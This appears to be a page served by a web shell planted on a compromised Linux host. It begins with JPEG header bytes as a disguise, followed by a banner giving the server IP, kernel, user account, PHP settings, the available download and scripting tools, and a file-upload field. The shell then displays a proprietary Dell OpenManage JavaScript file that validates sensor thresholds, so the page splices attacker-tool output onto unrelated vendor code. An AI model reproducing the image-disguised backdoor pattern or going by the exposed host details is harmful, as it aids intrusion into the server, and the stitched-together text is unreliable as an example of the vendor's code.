����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.28 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/3357889/root/opt/dell/srvadmin/lib64/openmanage/apache-tomcat/webapps/omsa/oma/js/ |
Upload File : |
//-------------------------------------------------------------------------
//
// DELL INC. PROPRIETARY INFORMATION
//
// This software is supplied under the terms of a license agreement or
// nondisclosure agreement with Dell Computer Corporation and may not
// be copied or disclosed except in accordance with the terms of that
// agreement.
//
// Copyright (c) 1995-2001 Dell Inc. All Rights Reserved.
//
// Abstract/Purpose:
//
//
// Environment:
// Windows NT/2000, Linux, Netware
//
// Created/Version:
// 2001 Jul 24 / $Revision: $
//
// Author:
// Anupam Mukherjee
//
// Last Modified By/On:
// $Author: $ / $Date: $
//
//-------------------------------------------------------------------------
var lowRange, highRange;
function setToVal()
{
setToValues = true;
setToDefault = false;
try {
document.getElementById("UNCVal").disabled = false;
} catch (e) {}
try {
document.getElementById("LNCVal").disabled = false;
} catch (e) {}
}
function setToDef()
{
setToDefault = true;
setToValues = false;
try {
document.getElementById("UNCVal").disabled = true;
} catch (e) {}
try {
document.getElementById("LNCVal").disabled = true;
} catch (e) {}
}
// 80982 check for letter e in probe thresholds
function isNanOMA( num )
{
var isNotNum = false;
var numStr = new String( num );
var validValues="+.-0123456789";
isNotNum = isNaN( num );
if ( ! isNotNum )
{
// 84478
for ( charId=0; charId < numStr.length; charId++)
{
if ( validValues.indexOf( numStr.charAt( charId ) ) < 0 )
{
isNotNum=true;
break;
}
}
}
return isNotNum;
}
function restorePreviousValues ()
{
try {
document.getElementById("UNCVal").value = preUNCTxt;
} catch(e) {}
try {
document.getElementById("LNCVal").value = preLNCTxt;
} catch(e) {}
}
function validate()
{
// 104866
if(!setToValues) {
// do not validate the values if user has selected default threshold settings.
changeDelimiter();
return true;
}
var tempUNCini = "";
try {
tempUNCini = document.getElementById("UNCVal").value;
} catch (e) {
tempUNCini = preUNCTxt;
}
var tempLNCini = "";
try {
tempLNCini = document.getElementById("LNCVal").value;
} catch (e) {
tempLNCini = preLNCTxt;
}
if (tempUNCini.indexOf(togglelocalDecsep) != -1){
alert(msg1 + tempUNCini + ".");
restorePreviousValues ();
return false;
}
if (tempLNCini.indexOf(togglelocalDecsep) != -1){
alert(msg1 + tempLNCini + ".");
restorePreviousValues ();
return false;
}
var tempUNC = "";
var tempLNC = "";
if (tempUNCini.indexOf(toggleunivDecsep) != -1)
tempUNC = tempUNCini.substring(0 , tempUNCini.indexOf(toggleunivDecsep)) + univDecsep + tempUNCini.substring(tempUNCini.indexOf(toggleunivDecsep) + 1);
else if (!isNanOMA(tempUNCini))
tempUNC = tempUNCini + univDecsep + "0";
tempUNC = trim(tempUNC);
if (tempLNCini.indexOf(toggleunivDecsep) != -1)
tempLNC = tempLNCini.substring(0 , tempLNCini.indexOf(toggleunivDecsep)) + univDecsep + tempLNCini.substring(tempLNCini.indexOf(toggleunivDecsep) + 1);
else if (!isNanOMA(tempLNCini))
tempLNC = tempLNCini + univDecsep + "0";
tempLNC = trim(tempLNC);
// Check for numbers. If strings discovered return false.
if(isNanOMA(tempUNC)){
alert(msg1 + tempUNCini + ".");
restorePreviousValues ();
return false;
}
if(isNanOMA(tempLNC)){
alert(msg1 + tempLNCini + ".");
restorePreviousValues ();
return false;
}
if(isNanOMA(parseFloat(tempUNC)) == true){
alert(msg1 + tempUNCini + ".");
restorePreviousValues ();
return false;
}else if( isNanOMA(parseFloat(tempLNC)) == true){
alert(msg1 + tempLNCini + ".");
restorePreviousValues ();
return false;
}
var UNC = parseFloat(tempUNC);
var LNC = parseFloat(tempLNC);
var UNCTxt = tempUNC;
var LNCTxt = tempLNC;
// Accept numbers only with 1 digit after the decimal point.
var index1 = UNCTxt.indexOf(univDecsep);
if(index1 != -1){
var temp1 = UNCTxt.substring(index1);
if(temp1.length > lengthval){
alert(msg1 + tempUNCini + ".");
restorePreviousValues ();
return false;
}
}
var index2 = LNCTxt.indexOf(univDecsep);
if(index2 != -1){
var temp2 = LNCTxt.substring(index2);
if(temp2.length > lengthval){
alert(msg1 + tempLNCini + ".");
restorePreviousValues ();
return false;
}
}
// Check LNC and UNC values, return false if found invalid.
if((UC > UNC) && (UNC > LC)){
if(UNC > LNC){
if(LNC > LC){
setVal();
return true;
}else{
calcValidRange(LCTxt, tempUNCini);
alert(msg2 + tempLNCini + msg3 + lowRange + msg4 + highRange + msg6);
}
}else{
alert(msg7);
}
}else{
if((UC > LNC) && (LNC > LC)){
calcValidRange(tempLNCini, UCTxt);
alert(msg5 + tempUNCini + msg3 + lowRange + msg4 + highRange + msg6);
}else{
calcValidRange(preLNCTxt, UCTxt);
alert(msg5 + tempUNCini + msg3 + lowRange + msg4 + highRange + msg6);
}
}
<!-- returning false does not submit the form -->
restorePreviousValues ();
return false;
}
//This function is only for validating temperature probe
//Not for any other probes
function validateTempProbe() {
// 104866
if(!setToValues) {
// do not validate the values if user has selected default threshold settings.
changeDelimiter();
return true;
}
var tempUNCini = "";
try {
tempUNCini = document.getElementById("UNCVal").value;
} catch (e) {
tempUNCini = preUNCTxt;
}
var tempLNCini = "";
try {
tempLNCini = document.getElementById("LNCVal").value;
} catch (e) {
tempLNCini = preLNCTxt;
}
if (tempUNCini.indexOf(togglelocalDecsep) != -1){
alert(msg1 + tempUNCini + ".");
restorePreviousValues ();
return false;
}
if (tempLNCini.indexOf(togglelocalDecsep) != -1){
alert(msg1 + tempLNCini + ".");
restorePreviousValues ();
return false;
}
var tempUNC = "";
var tempLNC = "";
if (tempUNCini.indexOf(toggleunivDecsep) != -1)
tempUNC = tempUNCini.substring(0 , tempUNCini.indexOf(toggleunivDecsep)) + univDecsep + tempUNCini.substring(tempUNCini.indexOf(toggleunivDecsep) + 1);
else if (!isNanOMA(tempUNCini))
tempUNC = tempUNCini + univDecsep + "0";
tempUNC = trim(tempUNC);
if (tempLNCini.indexOf(toggleunivDecsep) != -1)
tempLNC = tempLNCini.substring(0 , tempLNCini.indexOf(toggleunivDecsep)) + univDecsep + tempLNCini.substring(tempLNCini.indexOf(toggleunivDecsep) + 1);
else if (!isNanOMA(tempLNCini))
tempLNC = tempLNCini + univDecsep + "0";
tempLNC = trim(tempLNC);
// Check for numbers. If strings discovered return false.
if(isNanOMA(tempUNC)){
alert(msg1 + tempUNCini + ".");
restorePreviousValues ();
return false;
}
if(isNanOMA(tempLNC)){
alert(msg1 + tempLNCini + ".");
restorePreviousValues ();
return false;
}
if(isNanOMA(parseFloat(tempUNC)) == true){
alert(msg1 + tempUNCini + ".");
restorePreviousValues ();
return false;
}else if( isNanOMA(parseFloat(tempLNC)) == true){
alert(msg1 + tempLNCini + ".");
restorePreviousValues ();
return false;
}
var UNC = parseFloat(tempUNC);
var LNC = parseFloat(tempLNC);
var UNCTxt = tempUNC;
var LNCTxt = tempLNC;
// Accept numbers only with 1 digit after the decimal point.
var index1 = UNCTxt.indexOf(univDecsep);
if(index1 != -1){
var temp1 = UNCTxt.substring(index1);
if(temp1.length > lengthval){
alert(msg1 + tempUNCini + ".");
restorePreviousValues ();
return false;
}
}
var index2 = LNCTxt.indexOf(univDecsep);
if(index2 != -1){
var temp2 = LNCTxt.substring(index2);
if(temp2.length > lengthval){
alert(msg1 + tempLNCini + ".");
restorePreviousValues ();
return false;
}
}
// Check LNC and UNC values, return false if found invalid.
if((UC > UNC) && (UNC > LC)){
if(UNC > LNC){
if((LNC == preLNCTxt) || (LNC > LC) )
{
setVal();
return true;
}
else
{
var tempUC = "";
tempUC= UC + "." + "0";
calcValidRange(LCTxt, tempUC);
alert(msg2 + tempLNCini + msg3 + lowRange + msg4 + highRange + msg6);
}
}
else{
alert(msg7);
}
}else{
if((UC > LNC) && (LNC > LC)){
calcValidRange(LCTxt, UCTxt);
alert(msg5 + tempUNCini + msg3 + lowRange + msg4 + highRange + msg6);
}else{
calcValidRange(LCTxt, UCTxt);
alert(msg5 + tempUNCini + msg3 + lowRange + msg4 + highRange + msg6);
}
}
<!-- returning false does not submit the form -->
restorePreviousValues ();
return false;
}
function calcValidRange(lowVal, highVal)
{
var en = true;
if (lowVal.indexOf(',') != -1)
{
en = false;
}
lowVal = lowVal.replace(',','.');
highVal = highVal.replace(',','.');
lowRange = Math.round(eval(eval(lowVal) * eval(multiplier) + 1)) / eval(multiplier);
highRange = Math.round(eval(eval(highVal) * eval(multiplier) - 1)) / eval(multiplier);
if (!en)
{
lowRange = lowRange.toString().replace('.',',');
highRange = highRange.toString().replace('.',',');
}
}
function setVal()
{
changeDelimiter();
try {
document.dataarea.LNCVal.value = Math.round(parseFloat(document.dataarea.LNCVal.value) * multiplier);
} catch (e) {}
try {
document.dataarea.UNCVal.value = Math.round(parseFloat(document.dataarea.UNCVal.value) * multiplier);
} catch (e) {}
}
function changeDelimiter(){
var UNCini = "";
try {
UNCini = document.getElementById("UNCVal").value;
} catch (e) {}
var LNCini = "";
try {
LNCini = document.getElementById("LNCVal").value;
} catch (e) {}
var tempUNC = "";
var tempLNC = "";
if (UNCini.indexOf(toggleunivDecsep) != -1)
tempUNC = UNCini.substring(0 , UNCini.indexOf(toggleunivDecsep)) + univDecsep + UNCini.substring(UNCini.indexOf(toggleunivDecsep) + 1) ;
else
tempUNC = UNCini + univDecsep + "0";
if (LNCini.indexOf(toggleunivDecsep) != -1)
tempLNC = LNCini.substring(0 , LNCini.indexOf(toggleunivDecsep)) + univDecsep + LNCini.substring(LNCini.indexOf(toggleunivDecsep) + 1) ;
else
tempLNC = LNCini + univDecsep + "0";
try {
document.getElementById("LNCVal").value = tempLNC;
} catch (e) {}
try {
document.getElementById("UNCVal").value = tempUNC;
} catch (e) {}
}
function ltrim ( s )
{
return s.replace( /^\s*/, "" )
}
function rtrim ( s )
{
return s.replace( /\s*$/, "" );
}
//Combine the rtrim() and ltrim() functions to make the trim() function, which just wraps both calls together:
function trim ( s )
{
return rtrim(ltrim(s));
}